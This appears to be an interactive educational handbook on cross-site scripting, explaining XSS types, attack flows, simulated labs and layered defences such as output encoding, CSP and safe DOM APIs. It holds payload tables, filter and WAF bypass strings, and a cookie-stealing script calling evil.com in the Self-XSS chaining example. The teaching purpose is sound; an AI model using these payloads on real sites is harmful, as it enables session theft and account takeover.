XSS Security Handbook
A complete interactive guide to understanding, exploiting (ethically), and defending against Cross-Site Scripting โ the most widespread web vulnerability.
Introduction to XSS
Cross-Site Scripting (XSS) is a client-side code injection vulnerability that allows attackers to execute malicious scripts in other users' browsers. Understanding it is essential for every developer and security professional.
What is Cross-Site Scripting?
Cross-Site Scripting (XSS) occurs when an attacker injects malicious scripts โ typically JavaScript โ into web content viewed by other users. The victim's browser executes the script because it trusts content from the website's origin, not knowing the script was injected by an attacker.
"Cross-Site Scripting attacks are a type of injection in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different end user."
The abbreviation is XSS (not CSS) to avoid confusion with Cascading Style Sheets. The "X" stands for "Cross" in Cross-Site Scripting.
Why Should You Care?
XSS & the CIA Triad
XSS can steal sensitive data โ session cookies, authentication tokens, personal information, and form data (including passwords and credit cards).
Attackers can modify page content โ inject fake login forms, deface websites, alter displayed data, and perform actions on behalf of users.
Malicious scripts can cause denial of service โ infinite loops, resource exhaustion, crypto mining, or redirecting users away from the site.
5 Types of XSS at a Glance
Reflected XSS
Non-persistent. Payload is in the URL and reflected by the server. Requires victim to click a malicious link.
Stored XSS
Persistent. Payload is stored on the server. Executes for every user who views the infected content.
DOM-Based XSS
Client-side only. Server never sees the payload. Exploits JavaScript DOM manipulation in the browser.
Blind XSS
Stored XSS variant where payload executes in a hidden context the attacker can't directly see โ like an admin panel, log viewer, or internal tool.
Self-XSS
Only affects the user who inputs it. Not exploitable against others unless chained with CSRF or login CSRF to trick a victim.
What Can XSS Do?
Steal session cookies to impersonate users and hijack their accounts without knowing their passwords.
Record every keystroke a user types โ passwords, credit card numbers, private messages โ and send them to the attacker.
Inject convincing fake login forms over legitimate pages, tricking users into submitting their credentials to the attacker.
Perform actions as the victim โ change emails, passwords, make purchases, delete data, or transfer funds.
Create self-replicating XSS worms that spread from user to user automatically, like the infamous Samy worm on MySpace.
Use the victim's browser as a proxy to scan internal networks, discover services, and access resources behind firewalls.
Brief History of XSS
All labs in this handbook are safe simulations. Never test for XSS on systems you don't own or have explicit written authorization to test. Unauthorized testing violates the Computer Fraud and Abuse Act (USA), Computer Misuse Act (UK), and similar laws worldwide. Penalties include criminal prosecution, fines, and imprisonment.
Ready to begin your XSS security journey?
Web Fundamentals
Before diving into XSS attacks, you must understand how browsers work, the Same-Origin Policy, how cookies manage sessions, and how the DOM renders pages.
The Same-Origin Policy (SOP)
The Same-Origin Policy is the most critical browser security mechanism relevant to XSS. It restricts how scripts from one origin can interact with resources from another origin. An "origin" is defined by three components:
| URL A | URL B | Same Origin? | Reason |
|---|---|---|---|
http://example.com/a |
http://example.com/b |
โ Yes | Same scheme, host, port |
http://example.com |
https://example.com |
โ No | Different scheme (http vs https) |
http://example.com |
http://sub.example.com |
โ No | Different host (subdomain) |
http://example.com |
http://example.com:8080 |
โ No | Different port |
When XSS succeeds, the malicious script runs within the origin of the vulnerable website, effectively bypassing SOP completely. The browser sees the injected script as legitimate code from the trusted site!
HTTP Request-Response Cycle
(Browser)
HTTP Request
GET /search?q=test
(Backend)
HTTP Response
HTML + JS + CSS
(Rendered)
Cookies & Session Management
Cookies are how web applications track user sessions. When a user logs in, the server creates a session and sends a cookie to the browser. If an attacker can steal this cookie via XSS, they can impersonate the user.
| Cookie Flag | Purpose | Prevents XSS Cookie Theft? |
|---|---|---|
| HttpOnly | Prevents JavaScript from accessing the cookie via document.cookie |
โ YES โ Primary defense |
| Secure | Cookie only sent over HTTPS connections | โ ๏ธ Partial (protects transit) |
| SameSite=Strict | Cookie never sent in cross-site requests | โ ๏ธ Partial (prevents CSRF) |
| SameSite=Lax | Cookie sent in top-level navigations only | โ ๏ธ Partial |
| No Flags | Default โ no extra protections | โ VULNERABLE |
The Document Object Model (DOM)
The DOM is a tree-like representation of an HTML page that JavaScript can read and modify. Understanding the DOM is crucial because DOM-based XSS exploits happen when JavaScript writes user-controlled data into dangerous DOM sinks.
Where JavaScript Can Execute in HTML
Understanding every place JavaScript can execute is key to finding XSS. Attackers exploit any of these execution contexts:
URL Encoding Basics
URL encoding converts special characters into percent-encoded format. Attackers use encoding to bypass filters, while developers use it to safely handle user input in URLs.
| Character | URL Encoded | HTML Entity | Why It Matters |
|---|---|---|---|
< | %3C | < | Opens HTML tags |
> | %3E | > | Closes HTML tags |
" | %22 | " | Breaks out of attributes |
' | %27 | ' | Breaks out of JS strings |
/ | %2F | / | Closes tags / paths |
( | %28 | ( | Function calls |
) | %29 | ) | Function calls |
& | %26 | & | Entity separator |
These 4 fundamentals โ SOP, HTTP, Cookies, and DOM โ form the foundation of all XSS attacks. The SOP should prevent cross-origin access, but XSS bypasses it by executing within the trusted origin. Cookies without HttpOnly can be stolen. Dangerous DOM methods enable client-side injection.
Reflected XSS
The most common type of XSS. The malicious payload is included in the request (usually the URL) and "reflected" back by the server in its HTTP response without proper sanitization.
How Reflected XSS Works
Reflected XSS requires a victim to click a crafted URL. Here's the step-by-step attack flow:
Attacker Crafts Malicious URL
Creates a URL with an XSS payload in a query parameter: site.com/search?q=<script>alert(1)</script>
Social Engineering โ Deliver the Link
Sends the URL via email, SMS, social media, forum post, or URL shortener to disguise the malicious payload. The victim thinks they're clicking a normal link.
Server Reflects Payload Without Sanitizing
The vulnerable server takes the user input from the URL and includes it directly in the HTML response without encoding: <h2>Results for: <script>alert(1)</script></h2>
Victim's Browser Executes the Script
The browser parses the HTML response, finds the injected <script> tag, and executes it โ because it came from the trusted website origin.
Attack Succeeds โ Data Stolen
Cookies are sent to attacker's server, fake login form is shown, keylogger is installed, or account actions are performed โ all without the victim's knowledge.
Vulnerable vs. Fixed Code
Key Characteristics
- Non-persistent โ payload NOT stored on server
- Requires social engineering to deliver URL
- Payload visible in URL (can be shortened/encoded)
- Server processes and reflects the payload
- Affects only the user who clicks the link
- Search result pages (most common)
- Error messages showing user input
- Login forms with error feedback
- URL-based navigation / breadcrumbs
- Contact/feedback forms with immediate display
- 404 pages showing the requested URL
The search page below reflects user input without sanitization. Inject an XSS payload that would execute JavaScript. The simulation shows what happens when reflected XSS succeeds.
No real code executes. This demonstrates how reflected XSS would work in a real vulnerable application.
You searched for: [YOUR INPUT]<script>alert(1)</script><img src=x onerror=alert(1)> โ the failed image load triggers the event handler.htmlspecialchars($input, ENT_QUOTES, 'UTF-8') in PHP or equivalent encoding in your framework.Stored XSS
The most dangerous type of XSS. The malicious payload is permanently saved on the server โ in a database, file system, or cache โ and executes for every single user who views the infected content.
In Reflected XSS, the attacker must trick each victim into clicking a link. In Stored XSS, the payload is saved once and fires automatically for every visitor โ including administrators. No social engineering needed after the initial injection!
How Stored XSS Works
Stored XSS operates in two distinct phases โ the attacker only needs to perform Phase 1 once. Phase 2 repeats automatically for every visitor.
Attacker Submits Malicious Content
Posts a comment, updates a profile, sends a message, or uploads a file name containing the XSS payload.
Server Stores Without Sanitizing
The payload is saved directly into the database, file, or cache without any validation or encoding.
Any User Visits the Page
Regular user, admin, moderator โ anyone who loads the page. No special link needed.
Stored Payload Executes
Browser receives the stored script in the HTML, executes it โ cookies stolen, actions performed, admin compromised.
Posts Payload
Saves to DB
Payload Stored
View Page
Executes
Common Injection Points
Stored XSS can hide in many places. Any feature that saves user input and later displays it to other users is a potential target:
| Injection Point | Examples | Who Sees It? | Risk |
|---|---|---|---|
| Comments / Forums | Blog comments, discussion boards, Q&A answers | All visitors | CRITICAL |
| User Profiles | Display name, bio, location, website, avatar alt text | Anyone viewing the profile | CRITICAL |
| Product Reviews | E-commerce reviews, star rating text, Q&A sections | All shoppers | HIGH |
| Private Messages | DMs, chat systems, email subjects in webmail | Message recipient | HIGH |
| Support Tickets | Help desk descriptions, bug reports | Support agents / Admins | CRITICAL (Blind) |
| File Names | Uploaded file names displayed on page | Anyone viewing the file listing | MEDIUM |
| Admin / Log Viewers | User-Agent logs, error logs, activity dashboards | Admins only โ Blind XSS | CRITICAL |
| Shared Documents | Wiki pages, shared notes, collaborative docs | All collaborators | HIGH |
Vulnerable vs. Fixed Code
Reflected vs. Stored โ Side by Side
| Feature | โฉ๏ธ Reflected | ๐พ Stored |
|---|---|---|
| Persistence | Non-persistent | Persistent (in DB) |
| Social Engineering | โ Required every time | โ Not needed |
| Victims per Payload | 1 per click | All visitors |
| Admin Compromise | Must trick admin to click | Admin visits page = compromised |
| Typical Severity | High | Critical |
| Bug Bounty Reward | $$ | $$$$ |
| Payload Delivery | Via URL | Via form/input submission |
| Detection | Moderate (WAF can help) | Moderate (WAF + sanitize on output) |
Real-World Impact
Samy Kamkar injected a Stored XSS worm into his MySpace profile. It self-replicated, adding "samy is my hero" to every visitor's profile. 1 million+ users infected in 20 hours. Samy was arrested and sentenced to 3 years probation.
Magecart Group 6 injected card-skimming JavaScript into BA's payment page. 380,000 card details stolen over 15 days. ICO issued a ยฃ20 million GDPR fine. The attack leveraged stored/supply-chain JS injection.
This simulates a vulnerable comment system. Submit a comment containing an XSS payload. Notice how the stored payload persists and would execute for EVERY user who views the comments โ including the site administrator!
Imagine an admin checks user comments for moderation. Your stored XSS runs in their browser โ stealing their admin session token. Now you have full admin access!
Quick Payloads
<script>alert('Stored XSS!')</script> as a comment.fetch() to silently send cookies to an attacker server โ no alert dialog shown to the victim.DOM-Based XSS
The invisible attacker. The server never sees the payload โ the entire attack happens in the browser through JavaScript DOM manipulation. Traditional server-side tools completely miss it.
In Reflected/Stored XSS, the server includes the payload in the HTML response. In DOM-based XSS, the server sends a completely clean response โ the vulnerability is in how the client-side JavaScript processes user-controlled data. The server is innocent!
Source โ Sink: The Core Concept
DOM XSS requires two elements: a Source (where attacker-controlled data enters JavaScript) and a Sink (a dangerous function that renders or executes the data). When untrusted data flows from Source to Sink without validation, DOM XSS occurs.
flows into
Attack Flow
Attacker Crafts URL with Payload in Fragment
vulnerable.com/welcome#<img src=x onerror=alert(1)> โ The # fragment is never sent to the server!
Victim Clicks the Link
Browser sends request to server. Server responds with clean HTML + vulnerable JavaScript code. The server never sees the fragment.
JavaScript Reads Fragment โ Writes to innerHTML
Client-side JS reads location.hash (SOURCE) and sets it as element.innerHTML (SINK). The browser parses the HTML, finds the event handler, and executes the script.
Vulnerable Code Examples
Why It's Invisible to Traditional Security
- Server-side WAF โ never sees the fragment payload
- Server-side logging โ fragment not in access logs
- Input validation on server โ no input to validate
- Output encoding on server โ response is already clean
- Traditional DAST scanners miss many DOM XSS
- Browser DevTools (Sources tab + breakpoints)
- Burp Suite DOM Invader extension
- Manual code review for Source โ Sink flows
- Static analysis (Semgrep, CodeQL)
- Trusted Types API (browser-level defense)
- Using
textContentinstead ofinnerHTML
๐งช The Fragment (#) Never Reaches the Server
The page reads location.hash (a SOURCE) and writes it to element.innerHTML (a dangerous SINK). Craft a URL fragment that injects HTML with a JavaScript event handler to achieve DOM XSS.
๐ Craft Your Malicious URL
vulnerable.com/welcome#
Welcome to our personalized portal!
โ๏ธ Name loaded from location.hash via innerHTML
location.hash โ the part of the URL after #. This is the SOURCE.innerHTML โ the SINK. This means HTML tags and event handlers will be parsed and executed!<img src=x onerror=alert(1)> โ the image fails to load, triggering the JavaScript in the onerror event handler.element.innerHTML with element.textContent. Never pass user data to dangerous sinks!Other XSS Types
Beyond the three main types, there are important XSS variants that every security practitioner should understand โ Blind XSS and Self-XSS.
Blind XSS
Blind XSS is a variant of Stored XSS where the attacker's payload executes in a different application or context that the attacker cannot directly access or observe โ such as an admin panel, internal dashboard, log viewer, or support ticket system.
How Blind XSS Works
Submits payload
User-facing input
Stored raw
Renders payload
Session stolen
The attacker never sees the page where the payload executes. They inject it into a user-facing form, but it fires in an admin-only internal tool. The attacker uses an out-of-band callback (like XSS Hunter) to know when and where the payload triggered.
Common Blind XSS Scenarios
User submits a "contact us" message. The message is displayed in an internal CRM or admin dashboard without encoding. The admin's session is stolen.
Attacker injects payload in HTTP headers (User-Agent, Referer). When an admin views server logs in a web-based log viewer, the payload fires.
User creates a support ticket with XSS in the description. Support agent opens the ticket in their internal tool โ payload executes in their browser.
User registers with a malicious display name. When their name appears in admin notification panels or reports, the XSS fires.
Detection Tools for Blind XSS
Blind XSS can take hours, days, or even weeks to trigger โ because the payload fires only when a specific user (usually admin or support staff) views the content. Patience is key!
Self-XSS
Self-XSS is a type of XSS that only affects the user who inputs the payload themselves. It cannot be exploited against other users on its own, which is why most bug bounty programs exclude it.
How Self-XSS Works
Pastes payload
(settings, notes)
In THEIR browser
NOT affected
Common Self-XSS Locations
A "personal notes" field that only the logged-in user can see. Even if XSS is possible, no other user views the output.
Social engineering trick: "Paste this code in your browser console to get free items!" โ the user executes the code against themselves.
A settings page where only the logged-in user can see their own saved preferences. XSS here only fires in the user's own browser.
Draft blog posts, unpublished content that's only visible to the author โ XSS only affects themselves.
When Self-XSS Becomes Dangerous
While Self-XSS alone isn't exploitable, when combined with other vulnerabilities, it becomes a real threat:
Escalation Chain: Self-XSS + Login CSRF
Attacker creates account with XSS in profile name
Name: <script>fetch('//evil.com?c='+document.cookie)</script>
Exploits Login CSRF to force victim into attacker's account
Hidden form auto-submits the attacker's credentials via CSRF
Victim is now logged into attacker's account
Victim sees the dashboard of the attacker's account with the XSS payload in the profile name
Self-XSS fires in victim's browser โ cookies stolen!
The victim's cookies from their real session can be exfiltrated, or other attacks can be launched.
XSS Types โ Severity Comparison
| Type | Severity | Persistence | Victims | Bug Bounty? | Detection |
|---|---|---|---|---|---|
| Reflected โฉ๏ธ | High | Non-persistent | 1 per click | โ Yes | Moderate (WAF) |
| Stored ๐พ | Critical | Persistent (DB) | All visitors | โ Yes ($$$$) | Moderate |
| DOM-Based ๐ | High | Non-persistent | 1 per click | โ Yes | Very hard (client-side) |
| Blind ๐๏ธโ๐จ๏ธ | Critical | Persistent | Admin/internal users | โ Yes ($$$$) | Very hard |
| Self-XSS ๐ช | Low | Varies | Only self | โ Usually excluded | Easy |
When you find Self-XSS, always try to chain it with CSRF (especially Login CSRF) or other vulnerabilities. If you can demonstrate impact on another user, it gets upgraded from "Informational/Low" to "Medium/High"!
For the complete deep-dive on all XSS types, payloads, and techniques:
๐ Read the Full Handbook โAttack Techniques & Payloads
Understanding how attackers exploit XSS โ from basic payloads to advanced filter bypass techniques, context-specific injection, and real exploitation scenarios.
Injection Context Map
The most critical factor in crafting an XSS payload is understanding the context where your input lands in the HTML. Different contexts require different breakout and injection strategies.
| Context | Your Input Lands Here | Breakout Strategy | Example Payload |
|---|---|---|---|
| HTML Body | <div>INPUT</div> |
Inject new HTML tag | <script>alert(1)</script> |
| Attribute (quoted) | <input value="INPUT"> |
Close attribute + add event | " onfocus=alert(1) autofocus " |
| Attribute (unquoted) | <input value=INPUT> |
Space + event handler | x onfocus=alert(1) autofocus |
| href / src | <a href="INPUT"> |
Use javascript: protocol | javascript:alert(1) |
| JavaScript String | var x = 'INPUT'; |
Close string + inject code | ';alert(1);// |
| JS Template Literal | var x = `INPUT`; |
Template expression | ${alert(1)} |
| Script Block | <script>...INPUT...</script> |
Close script tag | </script><script>alert(1)</script> |
| HTML Comment | <!-- INPUT --> |
Close comment | --><script>alert(1)</script> |
Common XSS Payloads
Filter Bypass Techniques
Many applications try to block XSS using blacklists or input filters. These are always bypassable with creative encoding, obfuscation, and alternative syntax. This is why output encoding and CSP are far superior to filtering.
| What's Blocked | Bypass Technique | Payload |
|---|---|---|
<script> tag |
Use event handlers instead | <img src=x onerror=alert(1)> |
<script> (case-sensitive) |
Mixed case | <ScRiPt>alert(1)</sCrIpT> |
alert function |
Use confirm/prompt or constructor | <img src=x onerror=confirm(1)> |
alert() with parentheses |
Template literals | <img src=x onerror=alert`1`> |
Parentheses ( ) |
onerror+throw | <script>onerror=alert;throw 1</script> |
< and > chars |
Attribute context (if inside one) | " onfocus=alert(1) autofocus " |
Removes <script> once |
Nested / recursive | <scr<script>ipt>alert(1)</scr</script>ipt> |
All on* event handlers |
Use <script> tag instead | <script>alert(1)</script> |
| Keyword detection | HTML entity encoding | <img src=x onerror=alert(1)> |
| Keyword detection | JavaScript unicode escapes | <script>\u0061\u006cert(1)</script> |
| Spaces blocked | Forward slash separator | <svg/onload=alert(1)> |
| WAF signature match | Double encoding | %253Cscript%253Ealert(1)%253C%252Fscript%253E |
Real Exploitation Techniques
Exploitation Impact Matrix
| Attack | Severity | Requirements | User Interaction? |
|---|---|---|---|
| Cookie Theft | High | No HttpOnly flag | None |
| Session Hijacking | High | No HttpOnly flag | None |
| Account Takeover | Critical | AJAX capability | None |
| Phishing Overlay | High | Convincing UI | Victim submits form |
| Keylogging | High | Victim types on page | Typing |
| Worm Propagation | Critical | Stored XSS + social features | None |
| Crypto Mining | Medium | Sustained execution | Staying on page |
| Internal Port Scan | Medium | XSS on internal app | None |
| Defacement | Medium | Any XSS | None |
| Malware Distribution | High | User trust in domain | Download |
These techniques are shown for educational and defensive purposes only. Understanding attacks is essential for building effective defenses. Never use these techniques on systems without explicit written authorization.
XSS Prevention
Defense requires multiple layers working together. No single technique is sufficient โ you need output encoding, Content Security Policy, sanitization, and secure coding practices as a unified strategy.
Never trust user input. Always encode output based on the CONTEXT where it appears. Context-aware output encoding is the #1 defense against XSS.
Defense in Depth โ 6 Layers
Output Encoding Primary Defense
Convert dangerous characters (< > " ' &) to safe HTML entities before rendering. Must be context-specific: HTML body, attribute, JS, URL, CSS.
HTML Sanitization
For rich text content (WYSIWYG editors), use a whitelist-based sanitizer like DOMPurify to strip dangerous tags while preserving safe formatting.
Content Security Policy
HTTP header restricting which scripts can run. Even if XSS payload is injected, CSP can block its execution. Use nonces for inline scripts.
Cookie Security
Set HttpOnly (blocks JS access), Secure (HTTPS only), and SameSite (prevents CSRF) flags on all session cookies.
Safe DOM APIs
Use textContent instead of innerHTML, avoid eval(), validate URLs before use, and use setAttribute() for HTML attributes.
Trusted Types
Browser API that enforces type-safe DOM manipulation. Requires sanitized typed objects for dangerous sinks โ prevents DOM XSS at the browser level.
Context-Specific Encoding Rules
| Context | Encoding Method | Characters to Encode | Example |
|---|---|---|---|
| HTML Body | HTML Entity Encoding | & < > " ' / |
<script> shows as text |
| HTML Attribute | HTML Attribute Encoding | All non-alphanumeric โ &#xHH; |
Always quote attributes! |
| JavaScript | JavaScript String Encoding | Non-alphanumeric โ \uXXXX |
JSON.stringify(input) |
| URL Parameter | URL / Percent Encoding | Non-alphanumeric โ %HH |
encodeURIComponent(input) |
| CSS Value | CSS Encoding | Non-alphanumeric โ \XXXXXX |
Avoid user input in CSS if possible |
Secure Code Examples
Content Security Policy (CSP)
CSP is an HTTP response header that tells the browser which scripts are allowed to execute. Even if an attacker injects a script, CSP can prevent it from running.
'nonce-{random}' + 'strict-dynamic' โ only scripts with matching nonce execute. Attacker can't predict the nonce value.
'unsafe-inline' or 'unsafe-eval' โ completely defeats the purpose of CSP! Avoid at all costs.
Essential Security Headers
Defense Effectiveness Matrix
| Defense | โฉ๏ธ Reflected | ๐พ Stored | ๐ DOM-Based |
|---|---|---|---|
| Output Encoding | โ Effective | โ Effective | โ ๏ธ N/A (client) |
| HTML Sanitization | โ Effective | โ Effective | โ DOMPurify |
| CSP with Nonce | โ Effective | โ Effective | โ Effective |
| HttpOnly Cookies | โ ๏ธ Limits impact | โ ๏ธ Limits impact | โ ๏ธ Limits impact |
| Trusted Types | โ ๏ธ Partial | โ ๏ธ Partial | โ Primary defense! |
| Safe DOM APIs | โ N/A | โ N/A | โ Primary defense! |
| WAF | โ ๏ธ Bypassable | โ ๏ธ Bypassable | โ Can't detect |
| Auto-escaping Templates | โ Effective | โ Effective | โ N/A |
Detection, Tools & Summary
Your complete toolkit for finding XSS vulnerabilities, a step-by-step testing methodology, a comparison of all XSS types, and quick-reference cheatsheets.
XSS Testing Tools
Industry-standard web security testing platform. Includes Proxy, Scanner, Repeater, Intruder, and the DOM Invader extension for DOM XSS testing.
Free, open-source alternative to Burp. Active scanner with XSS rules, Ajax Spider for JS-heavy apps, and scripting engine for custom tests.
Fast CLI XSS scanner written in Go. Excellent for automated parameter fuzzing and pipeline integration.
Python-based XSS detection suite with intelligent payload generation, DOM analysis, and crawling.
Essential for Blind XSS. Provides unique payloads that call back with screenshots, cookies, DOM, and URL when triggered.
Testing Methodology
Map All Input Points
URL parameters, form fields (visible + hidden), HTTP headers (User-Agent, Referer, Cookie), JSON/XML bodies, file upload names, WebSocket messages, postMessage data.
Inject Canary String
Use a unique identifier like xss123test or aaa"'<>bbb to find where your input appears in the response and what characters survive.
Identify Injection Context
HTML body? HTML attribute? JavaScript string? URL? CSS? Each context requires a different breakout strategy and payload format.
Craft & Test Payloads
Start with basic payloads. If blocked, apply encoding, case variations, alternative tags/events, and filter bypass techniques.
Prove Impact & Document
Demonstrate real impact (cookie theft, account takeover) โ not just alert(1). Provide clear reproduction steps, affected URLs, and fix recommendations.
Complete XSS Types Comparison
| Feature | โฉ๏ธ Reflected | ๐พ Stored | ๐ DOM | ๐๏ธ Blind | ๐ช Self |
|---|---|---|---|---|---|
| Persistence | Non-persistent | Persistent | Non-persistent | Persistent | Varies |
| Server Involved? | โ Reflects | โ Stores | โ Never | โ Stores | Varies |
| Social Eng. Needed? | โ Yes | โ No | โ Yes | โ No | โ Yes |
| Victims | 1 per click | All visitors | 1 per click | Admin/internal | Only self |
| WAF Detection | Moderate | Moderate | Very Hard | Very Hard | Easy |
| Severity | High | Critical | High | Critical | Low |
| Bug Bounty | โ Accepted | โ $$$$ | โ Accepted | โ $$$$ | โ Usually excluded |
| Primary Defense | Output encoding | Output encoding | Safe DOM APIs | Output encoding | N/A (low risk) |
Quick Reference โ Top Payloads
Developer Security Checklist
โ Always Do
- Encode output based on context (HTML, JS, URL, CSS)
- Use auto-escaping template engines
- Set
HttpOnly,Secure,SameSiteon cookies - Implement Content Security Policy with nonces
- Use DOMPurify for rich HTML content
- Use
textContentinstead ofinnerHTML - Validate URLs (allow only
http:/https:) - Keep all frameworks and libraries updated
- Set security headers on all responses
- Code review for Source โ Sink flows
โ Never Do
- Use
innerHTMLwith user input - Use
eval(),setTimeout(string),new Function() - Use
document.write()with user data - Rely on client-side validation alone
- Use
'unsafe-inline'or'unsafe-eval'in CSP - Use
{{ var | safe }}with user input (templates) - Use
dangerouslySetInnerHTMLwith raw user data - Rely on blacklist-based input filtering
- Display raw user input anywhere in HTML
- Trust data from the database (always encode output)
Practice Platforms
- ๐ฎ Google XSS Game โ Progressive XSS challenges
- ๐ OWASP WebGoat โ Guided learning platform
- ๐ PortSwigger Web Security Academy โ Free labs with solutions
- ๐ HackTheBox โ Real-world web challenges
- ๐ฐ HackerOne โ Live bug bounty programs
- ๐ฏ prompt.ml โ Advanced XSS challenges
Handbook Complete!
You've learned all 5 XSS types, practiced with 3 interactive labs, studied attack techniques, prevention strategies, and detection methodology. Now go build secure applications!
No comments yet. Be the first to comment!